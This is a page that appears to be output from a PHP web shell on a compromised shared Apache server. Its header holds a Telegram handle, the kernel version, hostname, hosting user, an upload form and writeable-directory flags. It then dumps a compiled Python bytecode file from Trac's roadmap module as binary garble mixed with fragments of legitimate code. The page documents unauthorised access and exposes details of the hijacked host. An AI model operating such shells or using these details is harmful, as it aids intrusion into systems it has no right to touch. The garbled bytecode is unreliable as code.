https://t.me/RX1948
Server : Apache
System : Linux iad1-shared-b8-43 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
User : dh_edsupp ( 6597262)
PHP Version : 8.2.26
Disable Function : NONE
Directory :  /lib/python3/dist-packages/trac/ticket/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib/python3/dist-packages/trac/ticket/__pycache__/roadmap.cpython-310.pyc
o

�k�`b��@s8ddlmZmZddlZddlZddlZddlmZmZddlm	Z	m
Z
mZddlTddl
mZddlmZddlTddlmZmZmZdd	lmZmZdd
lmZmZmZmZmZmZm Z m!Z!m"Z"m#Z#ddl$m%Z%ddl&m'Z'dd
l(m)Z)m*Z*m+Z+ddl,m-Z-m.Z.ddl/m0Z0ddl1m2Z2ddl3m4Z4m5Z5m6Z6ddl7m8Z8ddl9m:Z:m;Z;m<Z<ddl=m>Z>m?Z?m@Z@mAZAmBZBmCZCmDZDmEZEmFZFmGZGddlHmIZIddlJmKZKGdd�deL�ZMGdd�deN�ZOGdd�deP�ZQdd�ZRd3d d!�ZSd4d"d#�ZTd5d%d&�ZUd'd(�ZV		d6d)d*�ZWd+d,�ZXd-d.�ZYGd/d0�d0eP�ZZGd1d2�d2eP�Z[dS)7�)�datetime�	timedeltaN)�
Attachment�AttachmentModule)�
ConfigSection�ExtensionOption�Option)�*)�NotificationSystem)�IPermissionRequestor)�
ISearchSource�search_to_regexps�shorten_result)�as_bool�	partition)
�datetime_now�format_date�format_datetime�from_utimestamp�get_datetime_format_hint�
parse_date�pretty_timedelta�to_datetime�	user_time�utc)�tag)�classes)�CRLF�exception_to_unicode�
to_unicode)�_�tag_)�TicketSystem)�BatchTicketChangeEvent)�	Milestone�MilestoneCache�Ticket)�ITimelineEventProvider)�HTTPBadRequest�IRequestHandler�RequestDone)
�Chrome�INavigationContributor�	accesskey�add_link�
add_notice�add_stylesheet�add_warning�	auth_link�prevnext_nav�web_context)�IWikiSyntaxProvider)�	format_toc@seZdZdd�ZdS)�ITicketGroupStatsProvidercC�dS)zr Gather statistics on a group of tickets.

        This method returns a valid `TicketGroupStats` object.
        N�)�
ticket_idsr9r9�5/usr/lib/python3/dist-packages/trac/ticket/roadmap.py�get_ticket_group_stats5sz0ITicketGroupStatsProvider.get_ticket_group_statsN)�__name__�
__module__�__qualname__r<r9r9r9r;r73sr7c@s,eZdZdZdd�Z	d	dd�Zdd�ZdS)
�TicketGroupStatsz.Encapsulates statistics on a group of tickets.cCs.||_||_d|_i|_g|_d|_d|_dS)z�
        :param title: the display name of this group of stats (e.g.
                      ``'ticket status'``)
        :param unit: is the units for these stats in plural form,
                     e.g. ``_('hours'``)
        rN)�title�unit�count�qry_args�	intervals�done_percent�
done_count)�selfrArBr9r9r;�__init__?s
zTicketGroupStats.__init__Nc	Cs*|j�||||d|d��|j||_dS)a�Adds a division to this stats' group's progress bar.

        :param title: the display name (e.g. ``'closed'``, ``'spent
                      effort'``) of this interval that will be
                      displayed in front of the unit name
        :param count: the number of units in the interval
        :param qry_args: a dict of extra params that will yield the
                         subset of tickets in this interval on a query.
        :param css_class: is the css class that will be used to
                          display the division
        :param overall_completion: can be set to true to make this
                                   interval count towards overall
                                   completion of this group of
                                   tickets.

        .. versionchanged :: 0.12
           deprecated `countsToProg` argument was removed, use
           `overall_completion` instead
        N)rArCrD�	css_class�percent�overall_completion)rE�appendrC)rHrArCrDrJrLr9r9r;�add_intervalNs�zTicketGroupStats.add_intervalcCs�|jdkrdSd}d|_d|_|jD]/}tt|dt|j�d��|d<||d}|drA|j|d7_|j|d7_q|jrq|dkrsd|}dd�t|jd	d
�|dkd�D�d}|d|7<|j|7_dSdSdS)N�rrC�drKrLcSsg|]}|dr|�qS)rKr9)�.0�ir9r9r;�
<listcomp>�s
�z2TicketGroupStats.refresh_calcs.<locals>.<listcomp>cS�|dS)NrKr9)�kr9r9r;�<lambda>��z0TicketGroupStats.refresh_calcs.<locals>.<lambda>)�key�reverse)rCrFrGrE�round�float�sorted)rH�
total_percent�interval�	fudge_amt�	fudge_intr9r9r;�
refresh_calcsms6


������zTicketGroupStats.refresh_calcs�N)r=r>r?�__doc__rIrNrar9r9r9r;r@<s
�r@c@sLeZdZdZee�edd�Zddddd�dd	d
d�gZdd
�Z	dd�Z
dS)�DefaultTicketGroupStatsProviderz�Configurable ticket group statistics provider.

    See :teo:`TracIni#milestone-groups-section` for a detailed
    example configuration.
    �milestone-groupsaS	As the workflow for tickets is now configurable, there can
        be many ticket states, and simply displaying closed tickets
        vs. all the others is maybe not appropriate in all cases. This
        section enables one to easily create ''groups'' of states that
        will be shown in different colors in the milestone progress
        bar.

        Note that the groups can only be based on the ticket
        //status//, nothing else. In particular, it's not possible to
        distinguish between different closed tickets based on the
        //resolution//.

        Example configuration with three groups, //closed//, //new//
        and //active// (the default only has closed and active):
        {{{
        # the 'closed' group correspond to the 'closed' tickets
        closed = closed

        # .order: sequence number in the progress bar
        closed.order = 0

        # .query_args: optional parameters for the corresponding
        #              query. In this example, the changes from the
        #              default are two additional columns ('created' and
        #              'modified'), and sorting is done on 'created'.
        closed.query_args = group=resolution,order=time,col=id,col=summary,col=owner,col=type,col=priority,col=component,col=severity,col=time,col=changetime

        # .overall_completion: indicates groups that count for overall
        #                      completion percentage
        closed.overall_completion = true

        new = new
        new.order = 1
        new.css_class = new
        new.label = new

        # Note: one catch-all group for other statuses is allowed
        active = *
        active.order = 2

        # .css_class: CSS class for this interval
        active.css_class = open

        # .label: displayed label for this group
        active.label = in progress
        }}}

        The definition consists in a comma-separated list of accepted
        status. Also, '*' means any status and could be used to
        associate all remaining states to one catch-all group.

        The CSS class can be one of: new (yellow), open (no color) or
        closed (green). Other styles can easily be added using custom
        CSS rule: `table.progress td.<class> { background: <color> }`
        to a [TracInterfaceCustomization#SiteAppearance site/style.css] file
        for example.
        �closedzgroup=resolution�true)�name�status�
query_argsrL�activer	�open)rhrirJcCs�d|jvrCi}d}|j��D]*\}}d}d|vr |�dd�\}}|�|||d��}|||<t|t|d��d}qt|��dd	�d
�S|j	S)z�Returns a list of dict describing the ticket groups
        in the expected order of appearance in the milestone progress bars.
        rerri�.rO)rh�orderrncSst|d�S)Nrn)�int)�gr9r9r;rV�szDDefaultTicketGroupStatsProvider._get_ticket_groups.<locals>.<lambda>)rX)
�config�milestone_groups_section�options�split�
setdefault�maxror\�values�default_milestone_groups)rH�groupsrn�	groupname�value�	qualifier�groupr9r9r;�_get_ticket_groups�s
�z2DefaultTicketGroupStatsProvider._get_ticket_groupscCst|�}tt|j����}i}|D]}d||<q|r5|j�dd�dd�t|�D���D]\}}|||<q,tt	d�t	d��}t|�}	|�
�}
d}|
D]F}|d��}
|
d	krh|rett	d
|d|dd���|}qJd
d�|
�
d�D�|@}||	r�tt	d|dd�||	�d���|	|8}	||d<qJ|r�|	|d<|
D]m}d}i}|��D]!\}}||dvr�||7}|�dg��|�d|vr�|d��q�dd�|�dd��
d�D�D]}dd�|�
dd�D�\}}|�|g��|�q�|�|�d|d�|||�d|d�t|�d���q�|��|S)Nrz�
                    SELECT status, count(status) FROM ticket
                    WHERE id IN (%s) GROUP BY status
                    �,css�|]}t|�VqdSrb)�str)rQ�xr9r9r;�	<genexpr>�s�zIDefaultTicketGroupStatsProvider.get_ticket_group_stats.<locals>.<genexpr>z
ticket status�ticketsrir	z{'%(group1)s' and '%(group2)s' milestone groups both are declared to be "catch-all" groups. Please check your configuration.rh)�group1�group2cSsh|]}|���qSr9��strip)rQ�sr9r9r;�	<setcomp>�zIDefaultTicketGroupStatsProvider.get_ticket_group_stats.<locals>.<setcomp>zz'%(groupname)s' milestone group reused status '%(status)s' already taken by other groups. Please check your configuration.z, )rzri�statusescSsg|]}d|vr|�qS��=r9)rQ�kvr9r9r;rSs�zJDefaultTicketGroupStatsProvider.get_ticket_group_stats.<locals>.<listcomp>rj�cSsg|]}|���qSr9r�)rQ�ar9r9r;rSr�r�rO�labelrJrL)�len�setr"�env�get_all_status�db_query�joinr\r@r r~r��	TracErrorrt�itemsrurM�sort�getrNrra)rHr:�	total_cnt�all_statuses�
status_cntr�rirC�stat�remaining_statusesry�catch_all_groupr}�
status_str�group_statuses�	group_cntrj�cnt�argrU�vr9r9r;r<�sp
�
���
� �z6DefaultTicketGroupStatsProvider.get_ticket_group_statsN)r=r>r?rc�
implementsr7rrrrxr~r<r9r9r9r;rd�s�<�
�rdcCs|�dd�|D��S)NcSsg|]}|d�qS��idr9�rQ�tr9r9r;rS(r�z$get_ticket_stats.<locals>.<listcomp>)r<)�providerr�r9r9r;�get_ticket_stats'sr��	componentcsXt|���}�dd�|D�vrd��f}|f}nd}�|f}�fdd�|�||�D�S)z@Retrieve all tickets associated with the given `milestone`.
    cSsg|]}|�d�s|d�qS)�customrh�r��rQ�fr9r9r;rS/sz-get_tickets_for_milestone.<locals>.<listcomp>zVSELECT id, status, %s FROM ticket WHERE milestone=%%s
                 ORDER BY %s, idz�SELECT id, status, value FROM ticket
                   LEFT OUTER JOIN ticket_custom ON (id=ticket AND name=%s)
                  WHERE milestone=%s ORDER BY value, idcs"g|]
\}}}d|d|�|i�qS)r�rir9)rQ�tkt_idri�fieldval��fieldr9r;rS8s�)r"�get_ticket_fieldsr�)r��	milestoner��fields�sql�argsr9r�r;�get_tickets_for_milestone+s�

�r�c
s�|j�P}t|���}t�fdd�|D��r!dd|���i}d}nd}�f}|��}|�||�i}t�|dd��D]\}}	�fd	d
�|	D�||<q:|Wd�S1sVwYdS)Nc3s(�|]}�|dko|�d�VqdS)rhr�Nr�r�r�r9r;r�?s�&z1get_tickets_for_all_milestones.<locals>.<genexpr>z�SELECT id, status, %(field)s, milestone
                     FROM ticket
                     WHERE milestone != ''
                     ORDER BY milestone, %(field)s, id
                  r�r9a%SELECT t.id, t.status, c.value, t.milestone
                     FROM ticket AS t
                     LEFT OUTER JOIN ticket_custom AS c
                     ON (t.id=c.ticket AND c.name=%s)
                     WHERE t.milestone != ''
                     ORDER BY t.milestone, c.value, t.idcSrT)N�r9)�rowr9r9r;rVQrWz0get_tickets_for_all_milestones.<locals>.<lambda>c	s(g|]}d|dd|d�|di�qS)r�rrirO�r9)rQr�r�r9r;rSRs
��z2get_tickets_for_all_milestones.<locals>.<listcomp>)	r�r"r��any�quote�cursor�execute�	itertools�groupby)
r�r��dbr�r�r�r��resultsr�r}r9r�r;�get_tickets_for_all_milestones<s$�
�$�r�FcCs:t|t�r|jn|}d}|r|d7}|�||f�ddS)a'Returns the number of tickets associated with the milestone.

    :param milestone: name of a milestone or a Milestone instance.
    :param exclude_closed: whether tickets with status 'closed' should
                           be excluded from the count. Defaults to False.

    :since: 1.2
    z.SELECT COUNT(*) FROM ticket WHERE milestone=%sz AND status != 'closed'r)�
isinstancer$rhr�)r�r��exclude_closedrhr�r9r9r;�get_num_tickets_for_milestoneWs
	r�cs�fdd�|D�S)zaApply permissions to a set of milestone tickets as returned by
    `get_tickets_for_milestone()`.cs$g|]}d��d|d�vr|�qS)�TICKET_VIEW�ticketr�)�permr���reqr9r;rSjs�z,apply_ticket_permissions.<locals>.<listcomp>r9)r�r�r�r9r�r;�apply_ticket_permissionsgsr�csNddlm}||du������fdd��|�|j��fdd�|jD�d�S)Nr)�QueryModulecs.�sdSd���ddi}|�|��j�|�S)Nr�r}ri)�update�href�query)�
extra_argsr�)r}�
grouped_by�	has_queryrhr�r9r;�
query_hrefrs

z(milestone_stats_data.<locals>.query_hrefcsg|]}�|d��qS)rDr9)rQr^)r�r9r;rSz��z(milestone_stats_data.<locals>.<listcomp>)�stats�
stats_href�interval_hrefs)�trac.ticket.queryr�rDrE)r�r�r�rhr�r}r�r9)r}r�r�rhr�r�r;�milestone_stats_datans
��r�csTg}t|���D]F}|d�krNd|vr$|d}|�d�r#|�dd�q|�d�r@dd�|�d	�f�D�}d|vr?|�dd�qd
d�|�d��f�D�}qd}g}|D]6}	|	r\|	fnd|	f���fd
d�|D�}
|
smqUt||
�}|j|krz|j}d|	i}|�|||	��|�|�qU|D]}d}
|r�|d}t	|j�t	|�d}
|
|d<q�|S)z�Get the `tickets` stats data grouped by ticket field `by`.

    `per_group_stats_data(gstat, group_name)` should return a data dict to
    include for the group with field value `group_name`.
    rhrs�optionalrr�r�cS�g|]\}|�qSr9r9�rQrhr9r9r;rS��z&grouped_stats_data.<locals>.<listcomp>z�
                    SELECT DISTINCT COALESCE(c.value, '') FROM ticket_custom c
                    WHERE c.name=%s ORDER BY COALESCE(c.value, '')
                    cSr�r9r9r�r9r9r;rS�r�z�
                    SELECT DISTINCT COALESCE(%s, '') FROM ticket
                    ORDER BY COALESCE(%s, '')
                    Ncsg|]
}|��vr|�qSr9r9r���byrwr9r;rS��g�?r�rP�percent_of_max_total)
r"r�r��insertr�r�rCr�rMr[)r��stats_providerr�r��per_group_stats_data�group_namesr��	max_count�datarh�
group_tickets�gstat�gs_dictrKr9r�r;�grouped_stats_data~sN
�
��
��


r�csXdd��t�fdd�|D�d�\}}}td�|ftd�|fg}|r*|�td�|f�|S)	z�Group milestones into "open with due date", "open with no due date",
    and possibly "completed". Return a list of (label, milestones) tuples.cSs|jrdS|jr
dSdS)NrOr�r�)�is_completed�due)�mr9r9r;�category�sz"group_milestones.<locals>.categorycsg|]}|�|�f�qSr9r9�rQr��r�r9r;rS�r�z$group_milestones.<locals>.<listcomp>)r�r�rOzOpen (by due date)zOpen (no due date)�Closed)rr rM)�
milestones�include_completed�open_due_milestones�open_not_due_milestones�closed_milestonesryr9r�r;�group_milestones�s���

�r�c@s\eZdZdZeeee�edde	dd�Z
dd�Zdd	�Zd
d�Z
dd
�Zdd�Zdd�ZdS)�
RoadmapModulezOverview of all the milestones.�roadmapr�rdz�Name of the component implementing `ITicketGroupStatsProvider`,
        which is used to collect statistics on groups of tickets for display
        in the roadmap views.cCr8�Nrr9�rHr�r9r9r;�get_active_navigation_item��z(RoadmapModule.get_active_navigation_itemccs<�d|jvrddtjtd�|j��t|d�d�fVdSdS)N�ROADMAP_VIEW�mainnavr�Roadmapr�)r�r-)r�rr�r r�rr-rr9r9r;�get_navigation_items�s�
�
��z"RoadmapModule.get_navigation_itemscCsgd�}dgd|fgS)N)�MILESTONE_CREATE�MILESTONE_DELETE�MILESTONE_MODIFY�MILESTONE_VIEWrr�
ROADMAP_ADMINr9�rH�actionsr9r9r;�get_permission_actions�sz$RoadmapModule.get_permission_actionscCs
|jdkS)Nz/roadmap)�	path_inforr9r9r;�
match_request�s
zRoadmapModule.match_requestc
s@�j�d��j�d�}d|vrdg}t�|jd|v�}d|vr'dd�|D�}�fdd�|D�}g}g}t|jd	d
�}|D]#}|�|j	�pFg}t
|j�|�}t|j|�}	|�
t|j�|	|j	��q=�j�d�dkrq|��|�dSd}
�jry�j}
�jj||
dd
�}t�dt�|�td�dd�||||d�}t�d�d|fS)Nr�show�all�	completed�	noduedatecSs g|]}|jdus|jr|�qSrb)r�rr�r9r9r;rS���z1RoadmapModule.process_request.<locals>.<listcomp>c� g|]}d��|j�vr|�qS�r
�r��resourcer�r�r9r;rS�r�ownerr��format�ics)r�userr�	alternate�	iCalendarz
text/calendar)r��milestone_stats�queriesr�common/css/roadmap.csszroadmap.html)r��requirer��getlistr$�selectr�r�r�rhr�r�r�rMr��_render_ics�is_authenticated�authnamer�rr.r2r r0)
rHr�rr�r�r$�all_ticketsr�r�r��username�icshrefr�r9r�r;�process_request�sF���
zRoadmapModule.process_requestc	s6��d���dd�t���ddlm}i�|�|j�D]
}t|j	��|j
<q�fdd�}dd	�}d
d��if��fdd
�	�if��fdd�	}if�fdd�	}�j�j�d�dd�}	�j
�dd���dd��dd��dd|jj��dd��d|jjdtd ���d!|jj��d"t�j��t|jd#d$�}
|D]�}d%�j|j
|	f}|jr�dd&��d'|�|d(|j�|d)|j��d*td+|j
d,���d-�j�|j
��|jr�d.|j��d/d&�|
�|j
�p�g}
t|j�|
�}
�fd0d1�|
D�D]{}t|j|�}�dd2��d'd3�j||	f�|j�r&�d4|�|d5|j��d*td6|j|d7d8���d-�j�|j���d.|d9�||�}|�rR�d:t|���d;||��|d<d=k�ru|j�d>|jf�D]\}|d?t |���qi�d/d2�q�q��d/d���!��"d@�}��dAt#|����$���%|�t&�)BN��zContent-Typeztext/calendar;charset=utf-8r)�Prioritycs:��|d�}|rtt��d|dt��d�SdS)N�priority��	rO)r�ror�)r�r{)�
prioritiesr9r;�get_priority s
��z/RoadmapModule._render_ics.<locals>.get_prioritycSsP|d}|dks|dkr|dsdS|dvrdS|dkr&|d	d
kr$dSdSd
S)Nri�new�reopenedrzNEEDS-ACTION)�assignedr8z
IN-PROCESSrf�
resolution�fixed�	COMPLETED�	CANCELLEDr�r9)r�rir9r9r;�
get_status&s�z-RoadmapModule._render_ics.<locals>.get_statuscSs&d�tdd�|��}d�t�d|��S)Nr�cSs|dvrd|S|S)Nz;,\�\r9)�cr9r9r;rV6r�zARoadmapModule._render_ics.<locals>.escape_value.<locals>.<lambda>z\nz[\r\n]+)r��map�rert)�textr�r9r9r;�escape_value5sz/RoadmapModule._render_ics.<locals>.escape_valuecszd�|gdd�|��D��d�|�}d}t|�}|r;|s$d|}nd}��|dd�t�|dd�}|sdSdS)	N�;cSsg|]
\}}|d|�qSr�r9)rQrUr�r9r9r;rS;r�zARoadmapModule._render_ics.<locals>.write_prop.<locals>.<listcomp>�:rO� r�K)r�r�r�writer)rhr{�paramsrC�	firstline)�bufrDr9r;�
write_prop9s ���
�z-RoadmapModule._render_ics.<locals>.write_propcs"d|d<�|t|d�j�|�dS)N�DATE�VALUEz%Y%m%d)r�tz�rhr{rJ)r�rMr9r;�
write_dateGsz-RoadmapModule._render_ics.<locals>.write_datecs�|t|dt�|�dS)Nz%Y%m%dT%H%M%SZ)rrrQ)rMr9r;�
write_utctimeKs�z0RoadmapModule._render_ics.<locals>.write_utctimez://r�r �	anonymous�BEGIN�	VCALENDAR�VERSIONz2.0�PRODIDz)-//Edgewall Software//NONSGML Trac %s//EN�METHOD�PUBLISHzX-WR-CALNAMEz - rzX-WR-CALDESCz
X-WR-TIMEZONErr�z<%s/milestone/%s@%s>�VEVENT�UID�DTSTAMP�DTSTART�SUMMARY�Milestone %(name)s�rh�URL�DESCRIPTION�ENDcs g|]}|d�kr|d�qS)rr�r9)rQr�)r r9r;rSms�z-RoadmapModule._render_ics.<locals>.<listcomp>�VTODOz<%s/ticket/%s@%s>z
RELATED-TO�DUEzTicket #%(num)s: %(summary)s�summary)�numrg�description�PRIORITY�STATUSrirfz�
                            SELECT time FROM ticket_change
                            WHERE ticket=%s AND field='status'
                            ORDER BY time desc LIMIT 1
                            r<zutf-8zContent-Length)'�
send_response�send_header�io�StringIO�trac.ticketr1r(r�r[r{rh�base_url�findr�r��trac_version�project_namer �project_descriptionr�rPr��	base_pathr��abs_hrefr�rir�r&r�r�r�r�getvalue�encoder��end_headersrIr*)rHr�r�r1r2r6r>rRrS�hostr,r��uidr�r�r��time�ics_strr9)rLrDr5r�r rMr;r)s�


�
�
�

�


�
�
��

zRoadmapModule._render_icsN)r=r>r?rcr�r,rr)rr7r�rr	rrr/r)r9r9r9r;r�s�	1rc@s(eZdZdZeeeeee	e
e�dZe
ddedd�Zedddd�Zedd	d
d�Zdd
�Zdd�Zdd�Zdd�Zdd�Zdd�Zdd�Zdd�Zdd�Zdd�ZeZed d!��Zd"d#�Zd$d%�Z d&d'�Z!d(d)�Z"d*d+�Z#d,d-�Z$d.d/�Z%d0d1�Z&d@d3d4�Z'd5d6�Z(dAd8d9�Z)d:d;�Z*d<d=�Z+d>d?�Z,d7S)B�MilestoneModulez$View and edit individual milestones.r�r�rdz�Name of the component implementing `ITicketGroupStatsProvider`,
        which is used to collect statistics on groups of tickets for display
        in the milestone views.�default_retarget_tozuDefault milestone to which tickets are retargeted when
            closing or deleting a milestone. (''since 1.1.2''))�doc�default_group_byr�z^Default field to use for grouping tickets in the grouped
        progress bar. (''since 1.2'')cCr8rr9rr9r9r;r�rz*MilestoneModule.get_active_navigation_itemcC�gSrbr9rr9r9r;r	�rz$MilestoneModule.get_navigation_itemscCsgd�}|d|fgS)N)r
rrr
�MILESTONE_ADMINr9rr9r9r;r�sz&MilestoneModule.get_permission_actionscc�"�d|jvrdtd�fVdSdS)Nr
r�zMilestones completed�r�r rr9r9r;�get_timeline_filters���
�z$MilestoneModule.get_timeline_filtersccs��d|vrMt|j�}t|j�j��D])\}}}}	|r;||kr$|kr;nq||d�}
d|�|
�vr;d|d|
|	ffVqt|j��||||�D]}|VqGdSdS)Nr�r�r
r�)	�Resource�realmr%r�r�rwr�r�get_timeline_events)rHr��start�stop�filters�milestone_realmrhr�rrir��eventr9r9r;r��s$�
�
��
��
z#MilestoneModule.get_timeline_eventscCsf|d\}}|dkr|j�|j�S|dkrtdt�|j�d�S|dkr1|j|d�}t|jd||�SdS)Nr��urlrAzMilestone %(name)s completedrari)r)	r�r�r�r!r�em�childr6r�)rH�contextr�r�r�ri�child_resourcer9r9r;�render_timeline_event�s
��z%MilestoneModule.render_timeline_eventcCs4t�d|j�}|r|�d�r|�d�|jd<dSdS)Nz/milestone(?:/(.+))?$rOr�T)rB�matchrr}r�)rHr�r�r9r9r;r�s
�zMilestoneModule.match_requestcCsp|j�d�}|j�dd�}|s|dkr|�|j���|�|j|��d�t|d|j��t	d��zt
|j|�}WntyVd|�|j|�vrJ�t
|j�}||_
d}Ynw|jd	kr�d
|jvrx|jro|�|j�|j
��n8|�|j���n/|dkr�|�||�S|dkr�|�||�ntt	d���|d
vr�|�||�S|dkr�|�||�S|j
s�|�|j���|�||�S)Nr��action�viewr
�uprr
�edit�POST�cancel�deletezInvalid request arguments.)r7r�)r�r��redirectr�rr�r�r&r.r r$r��ResourceNotFoundrh�method�existsr��_do_save�
_do_deleter(�_render_editor�_render_confirm�_render_view)rHr��milestone_idr�r�r9r9r;r/�s@
�

zMilestoneModule.process_requestcCsBt|j�}t|j|j|jd�}|jdkr|tdd�7}t||j�S)z�Returns a `datetime` object representing the default due date in
        the user's timezone. The default due time is 18:00 in the user's
        time zone.
        �rO)�days)	rrPr�year�month�day�hourrr)rHr��now�default_duer9r9r;�get_default_due
s


zMilestoneModule.get_default_duec
s�g���fdd�}�j�dd�|_d�jvr*�j�d�}|r&t�t|dd�nd|_nd|_d	�jvrT�j�d
d�}|rCt�t|dd�nd}|rS|tt�krS|td��nd}||_	�j�d�}zt
|j|�}Wntys||_
Ynw|j
|j
kr�|j
r�|td
|j
d��n|td���r�dS|j�r+z	|j�jd�Wnty�ttd
|j
d���w|�r"d�jv�r"�j�dd�}�j�d�p�d}	|j|	�j|dd�}
t�td|j
|	d��d|	i}|p�td�}t|
d�j||d�}z
t|j��|�Wn't�y!}
z|j�dt|
��t�tdt|
�d��WYd}
~
nd}
~
wwt�td��dSz|��Wnt�yBttd
|j
d���wt�td|j
d��dS) Ncst�|���|�dSrb)r1rM)�msg�r��warningsr9r;�warns
z,MilestoneModule.save_milestone.<locals>.warnrir�r��duedater)�hintr�
completeddatez(Completion date may not be in the futurerhz@Milestone "%(name)s" already exists, please choose another name.raz*You must provide a name for the milestone.F)�author�retarget�comment�targetT�r�zgThe open tickets associated with milestone "%(name)s" have been retargeted to milestone "%(retarget)s".�rhr�r�z.Open tickets retargeted after milestone closed�7Failure sending notification on ticket batch change: %s�[The changes have been saved, but an error occurred while sending notifications: %(message)s��messagezYour changes have been saved.z(The milestone "%(name)s" has been added.)r�r�rirrr�rrr rr$r�r�rhr�r�r+�ResourceExistsError�move_ticketsr/r#r
�notify�	Exception�log�errorrr1r!rr�)rHr�r�r�r�r�new_name�
new_milestoner��retarget_to�retargeted_tickets�
new_valuesr��er9r�r;�save_milestones�

���

����
�
���
�������������zMilestoneModule.save_milestonecs:�jrt�fdd�t��j�D��s�j�d�j��jS)Nc3s�|]	}�j|jkVqdSrb)�_default_retarget_torhr��rHr9r;r��s��z6MilestoneModule.default_retarget_to.<locals>.<genexpr>zmMilestone "%s" does not exist. Update the "default_retarget_to" option in the [milestone] section of trac.ini)r�r�r$r(r�r��warningr�r9r�r;r�s
���z#MilestoneModule.default_retarget_toc	
Cs|�|j��d�|j�d�pd}|�||jd�}|��t|t	d|j
d��|rwt|t	d|j
|d��d|i}t	d	�}t|d|j||d�}z
t|j
��|�Wn&tyv}z|j�d
t|��t|tdt|�d��WYd}~nd}~ww|�|j���dS)
Nrr�z)Ticket retargeted after milestone deletedz*The milestone "%(name)s" has been deleted.razbThe tickets associated with milestone "%(name)s" have been retargeted to milestone "%(retarget)s".r�r�z*Tickets retargeted after milestone deletedr�r�r�)r�rr&r�r�r�r+r�r/r rhr#r
r�r�r�r�r�rr1r!rr�r�r)	rHr�r�r�r�r�r�r�r�r9r9r;r��sB
���������zMilestoneModule._do_deletecCsX|jr
|�|j��d�n	|�|j��d�|�||�r&|�|j�|j��|�	||�S)Nrr
)
r�r�rr&r�r�r�r�rhr�)rHr�r�r9r9r;r��szMilestoneModule._do_savecs~���j��d���fdd�t�|j�D�}t�|j|j�j�}�t	|d�jv�t
|j��|jt|�d�}t
�d�d|fS)Nrc�,g|]}|j�jkrd��|j�vr|�qSr�rhr�rr��r�r�r9r;rS��
�z3MilestoneModule._render_confirm.<locals>.<listcomp>�TICKET_ADMIN)r��milestone_groups�num_ticketsr��attachmentsr%zmilestone_delete.html)r�rr&r$r(r�rr�rhr�r�r��listr0)rHr�r�r�r�r�r9r�r;r��s
�
zMilestoneModule._render_confirmcs��t�j�|���gd�}�jrA���j��d���fdd�t�|j	�D�}t
|d�jv�|d<t|j	�dd�|d	<|j|d
<n���j��d��j
rWt�td�j
d
��t|j	�}|���|���|���t�d�d|fS)N)r��
datetime_hintr�r�rcr�rr�r�r�r9r;rS�r�z2MilestoneModule._render_editor.<locals>.<listcomp>r�r�Tr��num_open_ticketsr�r
z:Milestone %(name)s does not exist. You can create it here.rar%zmilestone_edit.html)r�lc_timer�r�r�rr&r$r(r�r�r�r�rhr/r r+�
add_jquery_ui�add_wiki_toolbars�add_auto_previewr0)rHr�r�r�r��chromer9r�r;r��s4�����




zMilestoneModule._render_editorcs
g}g}d}t�j���}|D])}|ddkr|ddks#|ddvr8|�|d|dd��|d�jkr8d	}qd�|rA�j�n|rI|d
d��j�d���t�j�j�d�}t	�j�|�}t
�j|�}	t��j
�}
|
�t�j��|
�|�|d
�}|�t�j�|	�j���r�����fdd�}|�t�j�j|�|��t�d��fdd�}
�fdd�t��j�D�}�fdd�t|�D�}|r�|d
}|d
kr�|
d|d
�|
d||d�|t|�dkr�|
d||d�|
d|d�t�td�td�td��d|fS) NF�typer(rhr�)r�reporterr�)rhr�Trr�)r�r�)r�r�r��available_groupsr�rycst�j�|�j�|�Srb)r�r�rh)r��
group_name�r�r�r�rHr9r;r�s
�z:MilestoneModule._render_view.<locals>.per_group_stats_datar%cs6�jj|j�j�d�d�}t�||td|jd��dS)Nr�)r�zMilestone "%(name)s"ra)r�r�rhr�r�r.r )�relr�r�r�r9r;�add_milestone_links�z8MilestoneModule._render_view.<locals>.add_milestone_linkcrrrr�r�r9r;rS rz0MilestoneModule._render_view.<locals>.<listcomp>cs g|]\}}|j�jkr|�qSr9ra)rQrRr�)r�r9r;rS"s �first�prevrO�next�last���zPrevious MilestonezNext MilestonezBack to Roadmapzmilestone_view.html)r"r�r�rMr�r��getfirstr�rhr�r�r�r4rr�attachment_datar�r��extendr�r0r$r(�	enumerater�r3r )rHr�r�r�r��default_group_by_available�
ticket_fieldsr�r�r�r�r�r�r�r��idxr9r�r;r��sr
����	��
�zMilestoneModule._render_viewcCr�rbr9r�r9r9r;�get_wiki_syntax2rzMilestoneModule.get_wiki_syntaxccs�d|jfVdS)Nr�)�_format_linkr�r9r9r;�get_link_resolvers5s�z"MilestoneModule.get_link_resolverscCs&|�|�\}}}|�|j||||�Srb)�
split_link�_render_linkr�)rH�	formatter�nsrhr�r��fragmentr9r9r;r�8s�zMilestoneModule._format_linkr�c
CsX|s|st�Szt|j|�}Wntyd}Ynw|j�|�}|o%|j}|r�d|�|j�vr�d}t	|d�rw|j
rKtdt|j
�t|jt|j
�d�}n,|jr_tdt|j�t|jt|j�d�}n|jrstdt|j�t|jt|j�d�}ntd�}|j
r|dnd	}	tj|d
|	|||d�Snd|�|j|�vr�tj|d
||dd�Stj|td|d�d�S)Nr
r�z%Completed %(duration)s ago (%(date)s))�duration�datez%(duration)s late (%(date)s)zDue in %(duration)s (%(date)s)zNo date setzclosed r�z%smilestone)�class_r�rAr
zmissing milestone�nofollow)rr�r�r�)�missing)r)rr$r�r�r�r�r�r�r�hasattrr�r rrrr�r�is_later�r�r�r)
rHr�rhr��extrar�r�r�rArfr9r9r;r�=s\�

���������zMilestoneModule._render_linkccs�|jVdSrb)r�r�r9r9r;�get_resource_realmsis�z#MilestoneModule.get_resource_realmsNcKs4|j}|dkrtd|jd�}|r|�||j|�S|S)N�compactr`ra)r�r r�)rHrrr��kwargs�descr9r9r;�get_resource_descriptionlsz(MilestoneModule.get_resource_descriptioncCs|jt|j�jvS)ak
        >>> from trac.test import EnvironmentStub
        >>> env = EnvironmentStub()

        >>> m1 = Milestone(env)
        >>> m1.name = 'M1'
        >>> m1.insert()

        >>> MilestoneModule(env).resource_exists(Resource('milestone', 'M1'))
        True
        >>> MilestoneModule(env).resource_exists(Resource('milestone', 'M2'))
        False
        )r�r%r�r�)rHrr9r9r;�resource_existsvszMilestoneModule.resource_existsccr�)Nr
r��
Milestonesr�rr9r9r;�get_search_filters�r�z"MilestoneModule.get_search_filtersc#s��d|vrdSt|�}t|j�}t|j�j��D]?\�}}�t��fdd�|D��rW|�d�}d|�|�vrW|r:|n|r>|nt	t
